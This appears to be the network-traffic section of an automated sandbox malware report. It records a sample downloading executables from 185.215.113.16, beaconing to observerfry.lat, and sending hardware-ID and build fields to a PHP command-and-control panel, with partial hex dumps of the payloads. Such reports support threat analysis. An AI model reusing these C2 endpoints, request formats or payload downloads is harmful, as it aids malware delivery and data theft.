Dec 23, 2024 08:08:09.660316944 CET	49745	80	192.168.2.4	185.215.113.206
Dec 23, 2024 08:08:10.595529079 CET	49745	80	192.168.2.4	185.215.113.206

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 23, 2024 08:07:32.192362070 CET	49339	53	192.168.2.4	1.1.1.1
Dec 23, 2024 08:07:32.330374002 CET	53	49339	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 23, 2024 08:07:32.192362070 CET	192.168.2.4	1.1.1.1	0x4e1d	Standard query (0)	observerfry.lat	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 23, 2024 08:07:32.330374002 CET	1.1.1.1	192.168.2.4	0x4e1d	No error (0)	observerfry.lat		172.67.199.72	A (IP address)	IN (0x0001)	false
Dec 23, 2024 08:07:32.330374002 CET	1.1.1.1	192.168.2.4	0x4e1d	No error (0)	observerfry.lat		104.21.36.201	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

observerfry.lat

185.215.113.16

185.215.113.206

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49744	185.215.113.16	80	7432	C:\Users\user\Desktop\0HdDuWzp54.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 08:07:54.163947105 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 23, 2024 08:07:55.504442930 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 07:07:54 GMT Content-Type: application/octet-stream Content-Length: 2845696 Last-Modified: Mon, 23 Dec 2024 06:14:51 GMT Connection: keep-alive ETag: "6768ffdb-2b6c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2b 00 00 04 00 00 df 49 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ +I,`Ui`D @ @ @.rsrcD``@.idata f@tnrxecbv**h@anayjrgy +F+@.taggant@+"J+@
Dec 23, 2024 08:07:55.504492044 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 08:07:55.504520893 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 08:07:55.504627943 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 08:07:55.504698038 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 08:07:55.504712105 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 08:07:55.504724979 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 08:07:55.505001068 CET	1236	IN	Data Raw: 2b 0e be 25 17 ec da 45 e7 ed b4 25 3f fc b4 25 21 0e b9 25 17 ec da 2b 3f ea b4 25 1d 0c df 25 17 f9 e4 28 17 4b b5 25 17 e9 b4 25 28 0e cc 25 17 f0 32 3a 17 e6 be 2f 22 fc c0 50 5e ed bc bf 24 ef 23 3e 17 e6 be 97 3a e6 b4 95 3f ff b4 25 21 12 Data Ascii: +%E%?%!%+?%%(K%%(%2:/"P^$#>:?%!.%!%%?%O%M#+ U%)K2BIM+=%(F%%(%2:/"PY$#>?%!.%!%%?%O%.%!%-.>
Dec 23, 2024 08:07:55.505013943 CET	1236	IN	Data Raw: 1f ec b4 61 1d cc be 2b 17 d7 bc 13 20 ec b4 b3 21 d4 bd 2b 17 4b bb 13 20 ec b4 ef 21 d4 bd 2b 17 33 be 17 22 f0 b4 ab 21 9a be 2b 17 fc bf 2f 17 ec b4 1a 20 d4 bd 2b 17 47 bc 13 20 ec b4 11 1d d4 bd 2b 17 93 be 13 20 ec b4 6d 1b 1f bd 2b 17 4a Data Ascii: a+ !+K !+3"!+/ +G + m+J G"+`/+ %%&%O(j&5/!+&% v(%%G,(9%%G8(!9%%GG(m
Dec 23, 2024 08:07:55.505027056 CET	1236	IN	Data Raw: 17 5f b5 cc 20 f6 b4 a6 17 8d be 2b 17 7f b5 cc 20 00 b5 ee 17 8d be 2b 17 6f b5 cc 20 ec b4 ce 17 8d be 26 17 bf b5 56 20 0f b5 fe 17 11 c0 51 17 c7 b5 5b 20 18 b5 d6 17 0a bf 66 17 97 b5 b9 1c 2d b5 0e 18 11 c0 70 17 97 b5 31 1c 37 b5 16 18 b7 Data Ascii: _ + +o &V Q[ f-p170"J)X:+-o.5y.=.I.Q.]."et.*my.6yt.>.F
Dec 23, 2024 08:07:55.624178886 CET	1236	IN	Data Raw: 64 35 f9 6e 5d 3f 14 68 66 35 09 85 5a 35 03 6c 60 2d b5 78 5c 38 0b 6f 5a 2b 14 77 6c 2b 07 7f 76 29 04 74 5d 2f fc 25 6a 29 14 73 58 34 f6 6c 5c 38 14 72 66 29 00 26 6a 2b 07 7c 60 29 fa 84 5c 38 07 75 69 45 f8 77 60 3a fe 68 58 32 b5 78 5c 38 Data Ascii: d5n]?hf5Z5l`-x\8oZ+wl+v)t]/%j)sX4l\8rf)&j+\|`)\8uiEw`:hX2x\8oZ+ki8xv4xd'&j+\|`)l9wvk`4iv)tk8r9wm/jv)tk8r9zk}eki<h\Ezf6x\8oZ+q\8kcEw`<w9wm/jv,q\Ej:rv*om+&j+\|`)X)jj9x\8oZ+gc2
Dec 23, 2024 08:08:00.479562998 CET	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 23, 2024 08:08:00.921330929 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 07:07:59 GMT Content-Type: application/octet-stream Content-Length: 2907648 Last-Modified: Mon, 23 Dec 2024 06:16:47 GMT Connection: keep-alive ETag: "6769004f-2c5e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 90 4f 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 c0 4f 00 00 04 00 00 a0 28 2d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ ddds\|Fir^m[gmKbgdwwEeRichdPELdTg(O@O(-@M$a$$ $h@.rsrc$x@.idata $z@wwqufnsk$\|@dutjqjqnO8,@.taggant0O"<,@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49745	185.215.113.206	80	8076	C:\Users\user\AppData\Local\Temp\Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 08:08:07.851963043 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 23, 2024 08:08:09.194911003 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 07:08:08 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 23, 2024 08:08:09.198618889 CET	412	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGIDAAAKJJDBGCBFCBGI Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 47 49 44 41 41 41 4b 4a 4a 44 42 47 43 42 46 43 42 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 33 41 39 39 33 37 37 41 35 43 43 36 36 31 31 37 39 33 34 38 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 44 41 41 41 4b 4a 4a 44 42 47 43 42 46 43 42 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 44 41 41 41 4b 4a 4a 44 42 47 43 42 46 43 42 47 49 2d 2d 0d 0a Data Ascii: ------CGIDAAAKJJDBGCBFCBGIContent-Disposition: form-data; name="hwid"93A99377A5CC661179348------CGIDAAAKJJDBGCBFCBGIContent-Disposition: form-data; name="build"stok------CGIDAAAKJJDBGCBFCBGI--
Dec 23, 2024 08:08:09.660243034 CET	210	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 07:08:09 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	172.67.199.72	443	7432	C:\Users\user\Desktop\0HdDuWzp54.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 07:07:33 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: observerfry.lat
2024-12-23 07:07:33 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-23 07:07:34 UTC	1123	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 07:07:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=o4v1eljm9p2ot7h4cb9einmldo; expires=Fri, 18 Apr 2025 00:54:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3mxNogFWRDrYKJmnPszykKjON8%2FT1BN5N9PGRHmdTiE4BK9VCSxP48LHgFKJUH6k0Onb9Wsu%2BoqEM4mzNPE4R4FsRMfjajpPlM9dqrGUBEQg74YAWtahbAt5tnF6GFX%2B8ag%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6683f06a4b0f3f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1466&min_rtt=1464&rtt_var=554&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2835&recv_bytes=906&delivery_rate=1963685&cwnd=193&unsent_bytes=0&cid=846a613978ef32f9&ts=759&x=0"
2024-12-23 07:07:34 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-23 07:07:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	172.67.199.72	443	7432	C:\Users\user\Desktop\0HdDuWzp54.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 07:07:35 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 47 Host: observerfry.lat
2024-12-23 07:07:35 UTC	47	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=PsFKDg--pablo&j=
2024-12-23 07:07:36 UTC	1125	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 07:07:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=atpeeb0nhgum0ae5nsrkhl0294; expires=Fri, 18 Apr 2025 00:54:15 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5DhqASJRJ8kghgPhiphDABoUPbpxIUgjrSMqFNOcWURRn%2FuYn6XD%2F%2BSTKzzS44R%2F9Nk72M4gK6ZSkimxQBSGlVW3JxmmZFpDJm25HBC59S6NFndGN2yjWv9GtgoVXjXPNuo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6683fcecf95e7d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2195&min_rtt=2189&rtt_var=833&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2836&recv_bytes=946&delivery_rate=1304153&cwnd=224&unsent_bytes=0&cid=de5fab55d6002519&ts=793&x=0"
2024-12-23 07:07:36 UTC	244	IN	Data Raw: 34 36 63 0d 0a 73 75 70 57 52 71 73 73 49 6f 72 43 62 51 36 41 4f 30 79 47 73 44 37 67 61 74 6d 63 48 78 38 6b 73 35 6a 66 65 4d 71 68 57 62 7a 4a 79 43 42 6b 6b 52 67 4f 71 4c 45 49 4c 4c 70 50 50 76 50 56 45 73 49 4c 76 62 34 6c 65 55 58 66 36 37 70 55 36 4e 63 30 6e 6f 69 4d 4e 79 72 59 53 51 36 6f 70 78 55 73 75 6d 41 33 70 4e 56 51 77 6c 44 37 2b 58 56 39 52 64 2f 36 76 68 4f 6c 30 54 58 66 32 6f 59 78 4c 73 35 50 52 75 75 75 41 47 76 6c 58 69 33 73 33 6c 65 4e 41 72 53 2b 4d 7a 31 42 79 62 72 6c 57 6f 66 45 4c 64 33 2f 69 79 55 74 69 56 45 4f 38 65 41 49 59 4b 49 42 62 75 66 56 58 49 77 4d 76 66 64 33 64 30 7a 58 2b 37 73 53 75 73 67 2f 31 4e 71 49 4d 69 2f 45 52 6c 4c 6d 70 41 64 67 34 31 51 74 70 4a 77 63 68 52 44 Data Ascii: 46csupWRqssIorCbQ6AO0yGsD7gatmcHx8ks5jfeMqhWbzJyCBkkRgOqLEILLpPPvPVEsILvb4leUXf67pU6Nc0noiMNyrYSQ6opxUsumA3pNVQwlD7+XV9Rd/6vhOl0TXf2oYxLs5PRuuuAGvlXi3s3leNArS+Mz1BybrlWofELd3/iyUtiVEO8eAIYKIBbufVXIwMvfd3d0zX+7sSusg/1NqIMi/ERlLmpAdg41QtpJwchRD
2024-12-23 07:07:36 UTC	895	IN	Data Raw: 37 70 6a 30 75 64 4e 4c 72 72 41 2b 6c 30 7a 32 65 7a 38 59 74 5a 4d 35 43 41 4c 44 67 42 32 44 73 58 43 33 72 31 56 32 43 47 72 54 2b 66 6e 56 4f 31 66 43 79 46 61 66 4e 4d 64 6e 59 67 54 4d 72 7a 6b 5a 47 35 36 4e 50 49 71 4a 65 4e 71 53 4b 48 4b 49 59 75 50 31 70 63 46 65 52 35 66 4d 44 36 4d 51 33 6e 6f 6a 49 4d 69 72 49 51 30 44 36 71 41 52 6e 35 30 73 6c 37 64 39 52 67 67 57 78 38 58 35 39 51 64 76 77 73 68 43 73 7a 6a 62 59 30 49 68 30 61 6f 6c 4a 57 4b 6a 34 54 30 2f 6e 53 53 6e 6f 78 42 36 34 53 4b 53 77 5a 44 31 42 33 62 72 6c 57 71 44 47 4f 4e 33 62 68 7a 63 73 77 6c 78 41 2b 71 59 43 61 66 42 66 4b 2b 72 59 58 35 41 43 74 66 68 2b 64 45 33 59 2f 37 6f 65 36 49 31 37 32 63 6a 49 62 47 54 6f 51 30 76 6b 71 68 68 73 6f 6b 5a 67 2f 5a 4a 62 6a 6b Data Ascii: 7pj0udNLrrA+l0z2ez8YtZM5CALDgB2DsXC3r1V2CGrT+fnVO1fCyFafNMdnYgTMrzkZG56NPIqJeNqSKHKIYuP1pcFeR5fMD6MQ3nojIMirIQ0D6qARn50sl7d9RggWx8X59QdvwshCszjbY0Ih0aolJWKj4T0/nSSnoxB64SKSwZD1B3brlWqDGON3bhzcswlxA+qYCafBfK+rYX5ACtfh+dE3Y/7oe6I172cjIbGToQ0vkqhhsokZg/ZJbjk
2024-12-23 07:07:36 UTC	1369	IN	Data Raw: 34 34 62 30 0d 0a 6a 41 2b 74 76 6d 49 7a 58 35 48 39 73 56 72 77 67 7a 54 52 33 34 41 30 4a 63 31 44 52 4f 6d 74 41 32 58 68 56 53 4c 73 33 31 43 47 42 37 50 32 66 6e 56 55 33 2f 53 37 48 4b 6a 47 65 35 43 51 6a 79 78 6b 6b 51 35 6b 35 72 63 62 5a 36 42 73 4c 65 72 63 57 35 52 49 70 4c 42 6b 50 55 48 64 75 75 56 61 70 73 34 77 30 74 65 42 4e 53 66 4a 52 45 37 6e 71 67 64 6b 34 6c 51 76 37 39 70 61 6a 77 4f 30 38 58 70 31 52 64 33 2f 73 42 6e 6f 6a 58 76 5a 79 4d 68 73 5a 4f 78 41 51 2f 6d 78 54 56 6e 68 56 79 44 6a 78 42 79 64 52 71 4b 2b 65 6e 45 47 69 62 71 33 48 61 2f 48 4e 74 54 54 6a 44 41 70 78 6b 64 4a 34 62 49 46 59 4f 78 4c 49 2b 37 58 55 6f 34 4e 74 50 35 38 66 45 6a 62 38 66 31 55 36 4d 51 6a 6e 6f 6a 49 47 79 6e 5a 58 45 72 6a 73 55 31 5a 34 Data Ascii: 44b0jA+tvmIzX5H9sVrwgzTR34A0Jc1DROmtA2XhVSLs31CGB7P2fnVU3/S7HKjGe5CQjyxkkQ5k5rcbZ6BsLercW5RIpLBkPUHduuVaps4w0teBNSfJRE7nqgdk4lQv79pajwO08Xp1Rd3/sBnojXvZyMhsZOxAQ/mxTVnhVyDjxBydRqK+enEGibq3Ha/HNtTTjDApxkdJ4bIFYOxLI+7XUo4NtP58fEjb8f1U6MQjnojIGynZXErjsU1Z4
2024-12-23 07:07:36 UTC	1369	IN	Data Raw: 4b 48 4b 30 4c 72 66 51 39 59 67 6a 49 75 72 6f 57 36 4a 74 37 31 4e 79 4d 4e 79 6a 41 51 6b 33 70 70 41 68 68 35 6c 6b 6f 34 74 64 64 69 51 43 33 38 58 64 78 51 74 33 7a 75 78 61 72 77 44 32 65 6e 73 67 7a 50 49 6b 57 41 4d 6d 74 42 47 44 69 57 6a 2f 6a 6b 68 4c 43 42 72 33 2b 50 53 56 51 77 65 32 36 42 65 62 61 65 39 6e 63 79 47 78 6b 77 31 78 46 35 71 51 46 61 65 5a 56 4a 4f 54 58 54 6f 6f 4f 76 50 4a 31 65 45 6e 58 2f 37 41 64 6f 38 41 70 7a 4e 4f 4d 4f 69 69 4a 41 41 44 76 75 45 38 30 6f 6e 77 35 35 38 4a 61 67 55 69 6b 73 47 51 39 51 64 32 36 35 56 71 6f 7a 54 66 56 31 34 4d 2f 49 4d 31 4f 54 65 4f 75 41 57 58 75 55 53 4c 6a 77 46 47 48 41 4c 48 33 65 48 46 4c 30 75 69 2b 47 2b 69 4e 65 39 6e 49 79 47 78 6b 37 6e 31 33 79 2b 41 51 49 76 73 5a 4b 65 Data Ascii: KHK0LrfQ9YgjIuroW6Jt71NyMNyjAQk3ppAhh5lko4tddiQC38XdxQt3zuxarwD2ensgzPIkWAMmtBGDiWj/jkhLCBr3+PSVQwe26Bebae9ncyGxkw1xF5qQFaeZVJOTXTooOvPJ1eEnX/7Ado8ApzNOMOiiJAADvuE80onw558JagUiksGQ9Qd265VqozTfV14M/IM1OTeOuAWXuUSLjwFGHALH3eHFL0ui+G+iNe9nIyGxk7n13y+AQIvsZKe
2024-12-23 07:07:36 UTC	1369	IN	Data Raw: 4a 4c 6a 78 64 6a 31 5a 6e 2b 50 39 48 61 53 44 59 35 37 58 67 44 77 71 79 6b 68 4c 35 4b 77 4f 5a 65 52 63 4a 75 50 64 57 34 73 50 75 2f 68 76 65 6b 76 59 2b 72 59 54 6f 73 63 36 31 5a 44 47 64 43 50 52 44 68 69 6f 6b 67 68 36 38 6c 70 75 2b 35 78 46 77 67 2b 33 76 69 55 39 53 38 50 37 75 41 69 73 7a 44 44 4d 32 34 34 30 49 64 74 4a 54 4f 4b 76 44 47 54 76 57 69 62 32 30 6c 47 43 47 71 6e 34 64 6e 4d 47 6e 37 71 36 41 75 69 62 65 2b 2f 48 67 33 51 37 68 31 63 41 37 36 78 50 4e 4b 4a 61 4a 4f 6e 63 54 6f 59 4f 73 50 31 7a 64 55 50 5a 2f 72 63 58 70 38 67 78 31 39 69 49 4f 79 48 42 52 55 62 6d 6f 51 6c 67 37 78 6c 67 70 4e 56 45 77 6c 44 37 32 57 64 77 51 4d 62 72 69 42 32 6f 6b 6e 76 42 6e 70 46 30 49 38 55 4f 47 4b 69 74 41 32 62 76 58 43 72 73 31 56 2b Data Ascii: JLjxdj1Zn+P9HaSDY57XgDwqykhL5KwOZeRcJuPdW4sPu/hvekvY+rYTosc61ZDGdCPRDhiokgh68lpu+5xFwg+3viU9S8P7uAiszDDM2440IdtJTOKvDGTvWib20lGCGqn4dnMGn7q6Auibe+/Hg3Q7h1cA76xPNKJaJOncToYOsP1zdUPZ/rcXp8gx19iIOyHBRUbmoQlg7xlgpNVEwlD72WdwQMbriB2oknvBnpF0I8UOGKitA2bvXCrs1V+
2024-12-23 07:07:36 UTC	1369	IN	Data Raw: 6e 70 78 42 6f 6d 36 73 78 65 75 77 6a 72 57 32 49 67 79 4c 73 31 4e 53 65 75 6e 42 6d 72 70 57 69 54 72 31 56 71 47 43 4c 44 35 63 33 74 44 32 76 50 39 56 4f 6a 45 49 35 36 49 79 42 49 48 32 31 78 79 35 71 4d 55 4c 50 30 58 4e 36 54 56 55 4d 4a 51 2b 2f 56 31 63 6c 54 55 38 37 55 65 6f 63 4d 2f 31 4e 32 50 4e 43 48 45 53 30 54 6d 70 41 68 73 37 6c 59 70 37 4e 31 59 67 67 66 37 73 44 31 36 58 70 47 69 2f 54 71 6a 31 52 72 51 32 35 70 30 4f 34 64 58 41 4f 2b 73 54 7a 53 69 56 79 66 6c 32 6c 4b 4f 41 4c 2f 73 66 58 5a 50 33 76 75 79 47 71 76 43 4d 64 62 43 6a 6a 51 76 77 55 6c 49 37 4b 34 64 62 65 30 5a 59 4b 54 56 52 4d 4a 51 2b 38 39 72 65 6b 48 65 75 4a 51 64 73 38 49 78 33 64 75 45 64 44 75 48 56 77 44 76 72 45 38 30 6f 6c 51 69 36 64 5a 4f 6a 67 69 37 Data Ascii: npxBom6sxeuwjrW2IgyLs1NSeunBmrpWiTr1VqGCLD5c3tD2vP9VOjEI56IyBIH21xy5qMULP0XN6TVUMJQ+/V1clTU87UeocM/1N2PNCHES0TmpAhs7lYp7N1Yggf7sD16XpGi/Tqj1RrQ25p0O4dXAO+sTzSiVyfl2lKOAL/sfXZP3vuyGqvCMdbCjjQvwUlI7K4dbe0ZYKTVRMJQ+89rekHeuJQds8Ix3duEdDuHVwDvrE80olQi6dZOjgi7
2024-12-23 07:07:36 UTC	1369	IN	Data Raw: 62 61 39 4c 67 62 70 4d 6b 38 30 4d 4b 4a 50 69 6a 49 53 55 66 6a 73 67 52 2b 36 56 45 74 36 74 70 56 67 67 61 37 2f 33 42 39 42 70 2b 36 75 67 4c 6f 6d 33 76 37 38 35 38 69 4c 6f 74 74 56 2f 36 71 43 47 44 30 55 69 2f 6e 78 46 47 53 53 50 57 2b 62 48 70 58 6b 61 4b 72 43 72 2f 45 4a 4a 44 4a 79 44 4d 6f 69 52 59 41 34 36 38 42 59 65 6c 64 4a 2b 48 61 58 34 63 4e 73 66 4a 78 66 45 37 59 38 4c 67 66 72 73 6b 34 30 4e 2b 4a 4f 43 44 41 51 45 6d 6f 37 6b 39 72 2b 68 6c 32 70 4f 52 4d 68 52 43 32 37 6a 39 50 52 63 44 72 71 42 65 34 78 58 6e 78 30 34 51 33 49 63 35 65 41 50 66 75 46 69 7a 6c 56 57 36 38 6b 6c 79 47 42 4c 6a 35 63 33 4a 4c 33 76 32 32 46 61 4c 4e 4b 64 48 56 67 44 67 73 78 46 78 4b 34 72 49 47 5a 65 39 58 4a 76 62 52 48 4d 78 49 76 4f 59 